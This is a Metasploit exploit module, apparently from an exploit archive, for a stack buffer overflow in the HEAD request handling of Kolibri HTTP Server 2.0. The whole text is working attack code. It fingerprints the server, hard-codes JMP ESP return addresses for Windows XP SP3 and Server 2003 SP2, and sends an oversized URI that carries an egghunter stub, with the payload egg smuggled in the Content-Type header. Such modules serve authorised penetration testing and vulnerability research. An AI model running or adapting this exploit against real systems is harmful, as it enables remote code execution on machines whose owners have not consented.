Kolibri HTTP Server 2.0 – HEAD Buffer Overflow (Metasploit)
## # $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow', 'Description' => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.}, 'Author' => [ 'mr_me <steventhomasseeley@gmail.com>', # msf 'TheLeader' # original exploit ], 'Version' => '$Revision: 10887 $', 'References' => [ [ 'CVE', '2002-2268' ], [ 'OSVDB', '70808' ], [ 'BID', '6289' ], [ 'URL', 'http://www.exploit-db.com/exploits/15834/' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 3000, 'DisableNops' => true, 'BadChars' => "\x00\x0d\x0a\x3d\x20\x3f", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] , [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] , ], 'DisclosureDate' => 'Dec 26 2010', 'DefaultTarget' => 0)) end def check info = http_fingerprint if info and (info =~ /kolibri-2\.0/) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit #7E429353 FFE4 JMP ESP # For a reliable and large payload, we use an egg hunter # and direct RET to execute code print_status("Sending request...") eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars) sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V') sploit << eh_stub send_request_raw({ 'uri' => "/" + sploit, 'version' => '1.1', 'method' => 'HEAD', 'headers' => {'Content-Type' => eh_egg}, }) handler end end |